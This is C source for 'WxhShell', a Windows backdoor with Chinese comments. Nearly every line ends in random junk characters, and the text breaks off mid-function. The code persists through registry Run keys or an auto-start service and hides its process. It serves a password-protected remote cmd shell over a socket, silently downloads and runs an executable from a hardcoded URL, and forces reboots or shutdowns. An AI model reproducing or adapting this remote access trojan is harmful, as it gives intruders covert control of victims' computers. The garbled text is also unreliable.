    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p!173y,nL  
    if(Boot(SHUTDOWN)) 9kTU|py  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !}U&%2<69  
    else { J3C"W7 94}  
    closesocket(wsh); -V(5U! ^B  
    ExitThread(0); 3HWI;  
    } E: #VS~  
    break; 7,Nd[ oL*7  
    } wF}/7b54  
  // 获取shell y;uk|#qnPS  
  case 's': { w_6h $"^x  
    CmdShell(wsh); TTS }, `  
    closesocket(wsh); ?k#-)inf)  
    ExitThread(0); =xg pr*   
    break; DT;Hr4Z8^"  
  } ^IY1^x  
  // 退出 ._#|h5  
  case 'x': { p^NYJV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UDhW Y.`'~  
    CloseIt(wsh); 5X'[{'i,  
    break; #k*e>d$  
    } j$BM$q/c  
  // 离开 IX$ $pdQ  
  case 'q': { /&a[D 2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ob-y {x,R  
    closesocket(wsh); Q@nxGm  
    WSACleanup(); 1jO/"d.8n  
    exit(1); Za5*HCo  
    break; Gw$U0HA[,  
        } o^biO!4,  
  } 0fwo8NgX  
  } (eFHMRMv~  
NJwcb=*  
  // 提示信息 #X`j#"Ov2(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); % ?@PlQ  
} "2$C_aE  
  } &K/5AH"q  
kF`2%g+  
  return; gCW.;|2  
} ',v -&1R  
V\Cu|m&HI  
// shell模块句柄 Sm{idky)[  
int CmdShell(SOCKET sock) ["kk.*&  
{ uv eTx  
STARTUPINFO si; AKejWh  
ZeroMemory(&si,sizeof(si)); vaW, O/F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {a\m0Bw/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "xi)GH]H_  
PROCESS_INFORMATION ProcessInfo; )L<NW{  
char cmdline[]="cmd"; n'K,*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3t)07(x_B  
  return 0; P_ U[OM\  
} !SMIb(~[z  
4,`Yx s)%  
// 自身启动模式 vm_+U*%c  
int StartFromService(void) .IE2d%]?  
{ `,3;#.[D  
typedef struct H_un3x1  
{ B~G ?&"]  
  DWORD ExitStatus; nZ0- Kb  
  DWORD PebBaseAddress; jA?A)YNQb  
  DWORD AffinityMask; P|Dw +lQj  
  DWORD BasePriority; (3C::B=  
  ULONG UniqueProcessId; |L 11?{ K  
  ULONG InheritedFromUniqueProcessId; nRzD[ 3I  
}   PROCESS_BASIC_INFORMATION; %A|9=x*  
*0^!%Y'/4  
PROCNTQSIP NtQueryInformationProcess; T8bk\\Od  
/PafIq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZBUEg7c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~xer ZQgc  
[Abq("9p\  
  HANDLE             hProcess; d,tGW  
  PROCESS_BASIC_INFORMATION pbi; %wzDBsX  
_ fJ 5z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8M <q-sn4B  
  if(NULL == hInst ) return 0; d="Oge8  
Dp3&@M"^yY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <lopk('7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z ]V^s8>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B4Ko,=pg  
["TUSf]  
  if (!NtQueryInformationProcess) return 0; gdPv,p19L  
R*|y:T,H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q$L=G  
  if(!hProcess) return 0; >x]b"@Hkw  
CoO..  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >slD.rb]  
hd0d gc  
  CloseHandle(hProcess); 4jbqV  
<=[,_P6|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FrT.<3  
if(hProcess==NULL) return 0; 7Ko<,Kp2b  
O9?t,1  
HMODULE hMod; A/ZZ[B-  
char procName[255]; `K5Lp>=R  
unsigned long cbNeeded; a~ sU  
iI\ bD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pBl'SQccp  
HqC 1Dkw  
  CloseHandle(hProcess); RdaAS{>Sk  
Mm7;'Zbg  
if(strstr(procName,"services")) return 1; // 以服务启动 I8~ .Vu2  
E}6q;"[  
  return 0; // 注册表启动 Kcf1$`F24  
} 9j<qi\SSI  
G8AT] =  
// 主模块 paCC'*bv  
int StartWxhshell(LPSTR lpCmdLine) oHh~!#u  
{ b* (~8JxZ  
  SOCKET wsl; nY y%=B|>  
BOOL val=TRUE; f4[fXP;A  
  int port=0; @N+ }cej  
  struct sockaddr_in door; NN> E1d=  
 rG[iEY  
  if(wscfg.ws_autoins) Install(); m-T@Og  
jR1t&UD3Y  
port=atoi(lpCmdLine); '^mCLfo0}  
9|BH/&$  
if(port<=0) port=wscfg.ws_port; d ?Uj3G  
<KY \sb9  
  WSADATA data; @2(7 ZxI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [l# 8}dy  
n92*:Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v\lhbpk  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]]Bq te  
  door.sin_family = AF_INET; 6="Qwrk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0SS,fs<w3  
  door.sin_port = htons(port); vX?MB  
Lsu_ f'p0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >%6a$r~@  
closesocket(wsl); ]cQYSN7!SY  
return 1; ({&\~"  
} Y6W#u iqk  
JJC Y M  
  if(listen(wsl,2) == INVALID_SOCKET) { xD.Uh}:J  
closesocket(wsl); +|0f7RB+R  
return 1; 2><=U7~  
} /6fa 7;  
  Wxhshell(wsl); X%X`o%AqC  
  WSACleanup(); =:fN  
U~3uu &/r  
return 0; &JUHm_wd&S  
r< MW8  
} ~?6M4!u   
t@(:S6d  
// 以NT服务方式启动 |-)2 D=P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +4 W6{`  
{ mv,p*0  
DWORD   status = 0; %m/W4Nk  
  DWORD   specificError = 0xfffffff; ]`+J!G,  
~SzHIVj:6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @"h @4q/W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]nIH0k3y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tRZA`&  
  serviceStatus.dwWin32ExitCode     = 0; XfZ^,' z  
  serviceStatus.dwServiceSpecificExitCode = 0; B+VD53 V  
  serviceStatus.dwCheckPoint       = 0; DYf3>xh>xb  
  serviceStatus.dwWaitHint       = 0; e'l@M$^  
UwtL v d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {,X}Btnwp  
  if (hServiceStatusHandle==0) return; \8^c"%v,:  
[`n)2} k  
status = GetLastError(); S"<"e\\}"_  
  if (status!=NO_ERROR) R3bHX%T  
{ hU|TP3*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \+#>XDD  
    serviceStatus.dwCheckPoint       = 0; <rn26Gfr  
    serviceStatus.dwWaitHint       = 0; CT0 ~  
    serviceStatus.dwWin32ExitCode     = status; WU +OS(  
    serviceStatus.dwServiceSpecificExitCode = specificError; h_y;NB(w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ISDeLUihY  
    return; ]jRaR~[UN  
  } *Dhy a g  
h0z>dLA#2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5Tg[-tl  
  serviceStatus.dwCheckPoint       = 0; zgn~UC6&  
  serviceStatus.dwWaitHint       = 0; vuoD~=z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #qDMUN*i  
} f&2f8@  
pd\x^F`sk.  
// 处理NT服务事件,比如:启动、停止 5fvY#6;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0-at#r:  
{ GwM(E^AG  
switch(fdwControl) *Sw1b7l  
{ ?,z/+/:  
case SERVICE_CONTROL_STOP: Yc3Rq4I'G  
  serviceStatus.dwWin32ExitCode = 0; 6 k+4R<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .P#+V$qhv  
  serviceStatus.dwCheckPoint   = 0; ZW@%>_JR]  
  serviceStatus.dwWaitHint     = 0; sNHxUI  
  { YwaWhBCIF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b^^ .$Gu  
  } AD>X'J u8  
  return; J^gElp  
case SERVICE_CONTROL_PAUSE: .H#<yPty  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ! _p(H  
  break; 0K'^g0G  
case SERVICE_CONTROL_CONTINUE: UfSqiu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r WULv  
  break; BN%;AQV  
case SERVICE_CONTROL_INTERROGATE: f >$V:e([  
  break; ;hb_jW-0W  
}; srQ]TYH ,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M37GQvo   
} Nv5)A=6#AA  
+rFAo00E|  
// 标准应用程序主函数 g>pvcf(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $_f"NE}  
{ .I%`yhCW  
E+z"m|G  
// 获取操作系统版本 <44A*ux  
OsIsNt=GetOsVer(); kHbH{])  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9/#?]LJ  
Xy]Pmt  
  // 从命令行安装 yvIzgwN%s!  
  if(strpbrk(lpCmdLine,"iI")) Install(); T)o>U &KNP  
]114\JE  
  // 下载执行文件 !g7lJ\B  
if(wscfg.ws_downexe) { lPZYd 8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +x]3 - s  
  WinExec(wscfg.ws_filenam,SW_HIDE); H;c3 x"  
} vf;&0j&`  
TD-o-*mO  
if(!OsIsNt) { v}sk %f  
// 如果时win9x,隐藏进程并且设置为注册表启动 svvl`|n%  
HideProc(); M2!2 J  
StartWxhshell(lpCmdLine); y8j6ttQv=t  
} RdqB^>X  
else qV5l v-p  
  if(StartFromService()) YhQ%S}  
  // 以服务方式启动 N;S1s0FN  
  StartServiceCtrlDispatcher(DispatchTable); {1;R&  
else qO{Yr$ V%  
  // 普通方式启动 N4)ZPLV  
  StartWxhshell(lpCmdLine); ({0:1*lF@  
L%HFsuIO-  
return 0; bbs'>D3  
} jSMxba]  
'.{_ 7U  
K~6u5a9s  
p(!d,YSE  
=========================================== ipC <p?PpR  
D{rM  
x|$|~ 6f=n  
8/k"A-m  
eX'U d%  
B  
" [`kk<$=,&  
g#:P cl  
#include <stdio.h> N6HeZB" :  
#include <string.h> CE@[Z  
#include <windows.h> \V#fl  
#include <winsock2.h> |:]} u|O  
#include <winsvc.h> G!+Mu2  
#include <urlmon.h> e'MW"uCP}  
e2yCWolmTS  
#pragma comment (lib, "Ws2_32.lib") Bo$dIn2_  
#pragma comment (lib, "urlmon.lib") 3EHB~rL/C  
S,x';"  
#define MAX_USER   100 // 最大客户端连接数 ,m8mh)K?0>  
#define BUF_SOCK   200 // sock buffer MdN0 Y@Ll  
#define KEY_BUFF   255 // 输入 buffer p|?FA@ 3  
0Py*%}r1  
#define REBOOT     0   // 重启 a`R_}nus*  
#define SHUTDOWN   1   // 关机 d<6m_! L  
CXi[$nF3  
#define DEF_PORT   5000 // 监听端口  md,KRE  
A$i^/hJs  
#define REG_LEN     16   // 注册表键长度 7Ie=(x8):  
#define SVC_LEN     80   // NT服务名长度 LmytO$?2(  
fm L8n<1  
// 从dll定义API d8iq9AP\o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eC94rcb}i{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S9{A}+"K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jtUqrJFlQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &isKU 8n  
AvPPsN0  
// wxhshell配置信息 rzs-c ?  
struct WSCFG { )xiu \rC  
  int ws_port;         // 监听端口 }V[ORGzox  
  char ws_passstr[REG_LEN]; // 口令 a|jZg  
  int ws_autoins;       // 安装标记, 1=yes 0=no {xH?b0>  
  char ws_regname[REG_LEN]; // 注册表键名 &36SX<vZ  
  char ws_svcname[REG_LEN]; // 服务名 Y2;2Exp^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2WTOu x*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;s;3cC!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y%eq2%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R8_I ASs  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" . !Pg)|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u`&lTJgF/O  
`<7!Rh,tS^  
}; OQ- Hn -H  
zg H(/@P  
// default Wxhshell configuration J/O{x  
struct WSCFG wscfg={DEF_PORT, X^Z!!KTH  
    "xuhuanlingzhe", *yaS^k\  
    1, R|v'+bv  
    "Wxhshell", /isalOT  
    "Wxhshell", tc<uS%XT4^  
            "WxhShell Service", GB35ouE  
    "Wrsky Windows CmdShell Service", Dnl<w<}ZU:  
    "Please Input Your Password: ", ^lAM /  
  1, A4'5cR9T!  
  "http://www.wrsky.com/wxhshell.exe", m3TR}=n  
  "Wxhshell.exe" u8]FJQ*\6+  
    }; P RWb6  
IHYLM;@L  
// 消息定义模块 ](A2,F 9(U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xH xTL>,?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fEX=csZ86  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Zym6btc  
char *msg_ws_ext="\n\rExit."; REU,"  
char *msg_ws_end="\n\rQuit."; sl `jovT[Y  
char *msg_ws_boot="\n\rReboot..."; IQRuqp KL  
char *msg_ws_poff="\n\rShutdown..."; &CQO+Yr$l  
char *msg_ws_down="\n\rSave to "; BtZ]~S}v  
*y!O\-\S#>  
char *msg_ws_err="\n\rErr!"; ^>?=L\[  
char *msg_ws_ok="\n\rOK!"; !: ^q_q4  
%'yrIR  
char ExeFile[MAX_PATH]; <;6{R#Tuh  
int nUser = 0; {]< G=]'  
HANDLE handles[MAX_USER]; 8o$rF7.-  
int OsIsNt; eHuJFM  
Bchv1KF  
SERVICE_STATUS       serviceStatus; I I+y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l6ym <V(1p  
;^5k_\  
// 函数声明 yGdX>h  
int Install(void);  ch8a  
int Uninstall(void); =FrB{Eu  
int DownloadFile(char *sURL, SOCKET wsh); Gv_~@MN  
int Boot(int flag); s*ZE`/SM3  
void HideProc(void); } #rTUX  
int GetOsVer(void); Q$c6l[(g  
int Wxhshell(SOCKET wsl); d )O^(y1r  
void TalkWithClient(void *cs); e@Lxduq  
int CmdShell(SOCKET sock); =~GP;=6  
int StartFromService(void); C/!.VMl^  
int StartWxhshell(LPSTR lpCmdLine); sD:o 2(G*  
Lwr's'ao.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^_;'9YD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wqb4w7%  
z3jk xWAZ  
// 数据结构和表定义 6^wI^`NI  
SERVICE_TABLE_ENTRY DispatchTable[] =  X0VS a{  
{ U!aM63F3  
{wscfg.ws_svcname, NTServiceMain}, V4n~Z+k  
{NULL, NULL} GtVT^u_   
}; H#~gx_^U  
,~1'L6Ri?  
// 自我安装 L"qJZU  
int Install(void) dU$VRgP/  
{ ;:P4~R  
  char svExeFile[MAX_PATH]; eQuu\/z*H  
  HKEY key; 5#,H&ui\  
  strcpy(svExeFile,ExeFile); Vx h39eW  
YYv0cV{E  
// 如果是win9x系统,修改注册表设为自启动 apo)cR  
if(!OsIsNt) { An{>39{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /MGapmqV9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *siX:?l  
  RegCloseKey(key); ~U0%}Bbh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |O{N_-];.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ; oyV8P$  
  RegCloseKey(key); eDJnzh83  
  return 0; X 0G,tl  
    } "mK`3</G  
  } &h-_|N  
} MJ|tfQwhx  
else { c*;oR$VW  
C!j3@EZ$  
// 如果是NT以上系统,安装为系统服务 "do5@$p|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3iCe5VF  
if (schSCManager!=0) 7q ?ZieR  
{ rwRZGd *p  
  SC_HANDLE schService = CreateService ^dI;B27E*  
  ( CS7b3p!I  
  schSCManager, CO wcus  
  wscfg.ws_svcname, 'J,UKK\5  
  wscfg.ws_svcdisp, 5/=$p:E>  
  SERVICE_ALL_ACCESS, r#sg5aS7O|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~#r>@C  
  SERVICE_AUTO_START, aZN?V}^+  
  SERVICE_ERROR_NORMAL, WH:dcU   
  svExeFile, * Gg7(cnpw  
  NULL, \'m7un  
  NULL, GV0\+A"vD  
  NULL, AxH;psj  
  NULL, 6g| ,]{  
  NULL ,:?ibE=  
  ); J,=K1>8s  
  if (schService!=0) hX.cdt_?  
  { uf6egm5 ]  
  CloseServiceHandle(schService); _3`G ZeGV  
  CloseServiceHandle(schSCManager); Jt_=aMY:7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *k{Llq  
  strcat(svExeFile,wscfg.ws_svcname); b)diYsTH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^?cu9S3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MntmBj-T  
  RegCloseKey(key); SZWNN#w60?  
  return 0; 2(eO5.FYF  
    } _Xf1FzF+a  
  } Y&6jFT_  
  CloseServiceHandle(schSCManager); 1)X|?ZD]F  
} 7{#p'.nc5  
} $--8%gh dG  
q8{Bx03m6  
return 1; imM!Me 0TE  
} Z",0 $Gxu  
1=5"j]0hY  
// 自我卸载 +^AdD8U  
int Uninstall(void) opfnIkCe  
{ /TMVPnvz.  
  HKEY key; 'V&g"Pb  
]46h!@~aC  
if(!OsIsNt) { v;(cJ,l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b] 5dBZ(  
  RegDeleteValue(key,wscfg.ws_regname); {"p ~M7  
  RegCloseKey(key); lQIg0G/3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mB`HPT  
  RegDeleteValue(key,wscfg.ws_regname); D?KLV _Op  
  RegCloseKey(key); NS[Z@@  
  return 0; 7!M; ?Y  
  } gq('8*S  
} ?p{ -Yp*h  
} {]IY; cL  
else { i+`8$uz  
,a5q62)q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4Wl`hF  
if (schSCManager!=0) [vu;B4^"  
{ {QEvc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !zK"y[V  
  if (schService!=0) /Z2u0jNArP  
  { ) gl{ x  
  if(DeleteService(schService)!=0) { ug%7}&  
  CloseServiceHandle(schService); .U{}N%S  
  CloseServiceHandle(schSCManager); EZj rX>"#  
  return 0; 6nA9r5Ghv  
  } 3Dr\ O_`u  
  CloseServiceHandle(schService); 3cJ'tRsp<  
  } #?Ix6 {R  
  CloseServiceHandle(schSCManager); ,zjz "7'  
} Y~Uf2(7b5  
} / B!j`UK  
$?ss5: S  
return 1; ?8753{wk  
} ~=yU%5 s@  
}oD^tU IK  
// 从指定url下载文件 61_PSScSY  
int DownloadFile(char *sURL, SOCKET wsh) 6GuTd  
{ MgiW9@_(  
  HRESULT hr; CV[9i  
char seps[]= "/"; J{4=:feIC?  
char *token; $}4ao2  
char *file;  D?Beg F  
char myURL[MAX_PATH]; r;@0 F  
char myFILE[MAX_PATH]; Eq_@ xT0>  
24od74\  
strcpy(myURL,sURL); kiF}+,z"  
  token=strtok(myURL,seps); ",~ZO<P  
  while(token!=NULL) $bhI2%_`M  
  { 'z9 1aNG]  
    file=token; oyiG04H&  
  token=strtok(NULL,seps); U2`:'  
  } /K2[`+-  
=o~mZ/ 7=M  
GetCurrentDirectory(MAX_PATH,myFILE); %]F/!n  
strcat(myFILE, "\\"); 6 (7 56  
strcat(myFILE, file); Wt%Wpb8  
  send(wsh,myFILE,strlen(myFILE),0); /\,3AInLb  
send(wsh,"...",3,0); 7jw+o*;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); blomB2vQ  
  if(hr==S_OK) ce$ [H}rDB  
return 0; *lDVV,T'}w  
else %S%UMA.  
return 1; V1,p<>9  
wtbN @g0  
} 26}3  
q"269W:  
// 系统电源模块 ~;b}_?%o  
int Boot(int flag) 9<&*iIrM  
{ kh}h(z^  
  HANDLE hToken; \Ec*Gq?.  
  TOKEN_PRIVILEGES tkp; n:a~=^IV  
_gH$ ,.j/  
  if(OsIsNt) { Ho#nM_ q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bRggt6$z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  `\##M=  
    tkp.PrivilegeCount = 1; `)$G}7cRUH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P*[wB_^&UP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E;H9]*x/  
if(flag==REBOOT) { pa^_D~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;Mmu}  
  return 0; LT)I ?ud  
} VOYQ<tg  
else { #HP-ne; #  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Jr'a_ (~  
  return 0; +b_[JP2  
} V}`ri~  
  } ]?V:+>t=  
  else { 07=I&Pum  
if(flag==REBOOT) { k^d^Todq.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qQf NT.  
  return 0; pSAtn  
} ,n%b~.$:v5  
else { ,dd1/zm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) le_a IbB"P  
  return 0; bp" @ p:  
} 'PrBa[%  
} ]D~Ibv{Y  
K/(QR_@?  
return 1; -~RGjx  
} e2fv%  
X!{K`~DRX  
// win9x进程隐藏模块 nWc@ufY  
void HideProc(void) e KuF7Oo  
{ $U/lm;{%  
*" OlO}o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xVYa-I[Z  
  if ( hKernel != NULL ) Z0M,YSnz  
  { JPL`/WA 0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1.N2!:&G|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >Q_ '[!S  
    FreeLibrary(hKernel); W8x&:5Fc)3  
  } 9,&xG\z=  
gB%"JDn8  
return; @ G!Ir"Q  
} } tBw<7fe  
V^!^wLLi  
// 获取操作系统版本 [jCYj0Qf8  
int GetOsVer(void) ukVBC"Ny  
{ ue?3;BF 5  
  OSVERSIONINFO winfo; a >-qHX-l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0t(c84o5  
  GetVersionEx(&winfo); ]1zud  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #l`\'0`.  
  return 1; 30SQ&j[N]  
  else ~K5A$ s2  
  return 0; ;"#yHP`  
} KT 6 ppo  
#=0 BjW*  
// 客户端句柄模块 Y~!A"$   
int Wxhshell(SOCKET wsl) ? [5>!  
{ $!$If( 7  
  SOCKET wsh; o7Z 8O,;  
  struct sockaddr_in client; SmvMjZ+7Y  
  DWORD myID; \1#]qs -  
W2v'2qAs  
  while(nUser<MAX_USER) xCWS  
{ 4i&Rd1#0dI  
  int nSize=sizeof(client); 8mLW^R:`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UqsOG<L'6  
  if(wsh==INVALID_SOCKET) return 1; bJ9*z~z)e  
Tb;,t=;u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O#):*II`9  
if(handles[nUser]==0) yJ ]Va $M  
  closesocket(wsh); x![.C,O  
else \ qq  
  nUser++; 3b#L*-  
  } F&+qd`8J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %CnNu  
] >w@@A  
  return 0; &tf(vU;,'  
} Z'uiU e`&  
A)j!Wgs^z  
// 关闭 socket  ~H   
void CloseIt(SOCKET wsh) 2A";o E  
{ G;W2Z,  
closesocket(wsh); K0B<9Wi |  
nUser--; Fv)E:PnKC  
ExitThread(0); MwQ4&z#wh  
} O^6anUV0  
D@.qdRc3  
// 客户端请求句柄 =-r); d  
void TalkWithClient(void *cs) y3j"vKG  
{ d-m.aP)y:  
Q@PDhISa  
  SOCKET wsh=(SOCKET)cs; ]xoG{%vgb  
  char pwd[SVC_LEN]; C4gES"T  
  char cmd[KEY_BUFF]; 1tI=Dw x  
char chr[1];  .9r85  
int i,j; Ndb7>"W  
qP&:9eL  
  while (nUser < MAX_USER) { '3sySsD&O  
$%'3w~h`  
if(wscfg.ws_passstr) { 9;\mq'v%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wD$UShnm9-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =O8>[u;  
  //ZeroMemory(pwd,KEY_BUFF); }(XKy!G6  
      i=0; RjgJIVm(  
  while(i<SVC_LEN) { :?y Ma$  
WcM\4q@  
  // 设置超时 > KdV]!H  
  fd_set FdRead; );q~TZ[Do  
  struct timeval TimeOut; #pK" ^O*!  
  FD_ZERO(&FdRead); S-Bx`e9'  
  FD_SET(wsh,&FdRead); i'>5vU0?3  
  TimeOut.tv_sec=8; goF87^M  
  TimeOut.tv_usec=0; [eOv fD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v4'kV:;&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dkDPze9l  
1kUlQ*[<|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &dK !+  
  pwd=chr[0]; 79d(UG'O  
  if(chr[0]==0xd || chr[0]==0xa) { XpE847!soL  
  pwd=0; Suo$wZ7J  
  break; }P{Wk7#Jq  
  } gGMQRRq  
  i++; s0D4K  
    } jf)l; \u  
XQfmD;U  
  // 如果是非法用户,关闭 socket -}h^'#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d}ycC.h4k  
} {i8 zM6eC  
~7*2Jp'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &(32s!qH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -MTYtw(  
K r|.I2?"  
while(1) { ^[Ka+E^Q  
Vq{3:QBR  
  ZeroMemory(cmd,KEY_BUFF); $6D* G-*8  
(*Q:'2e  
      // 自动支持客户端 telnet标准   Z(Y:  
  j=0; d(ypFd9z  
  while(j<KEY_BUFF) { T{f$S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qe ip h  
  cmd[j]=chr[0]; ]PoWL;E'  
  if(chr[0]==0xa || chr[0]==0xd) { B {:a,V7  
  cmd[j]=0; >{:hadUH  
  break; dY~z6bT  
  } p)?6#~9$  
  j++; EEL3~H{(  
    } {N/%%O.b  
\#B<'J9.`  
  // 下载文件 iQ2j ejd3(  
  if(strstr(cmd,"http://")) { zUv#%Q8vw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6},[HpXRc4  
  if(DownloadFile(cmd,wsh)) n;N79`mZC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^w.]1x  
  else G\;6n  
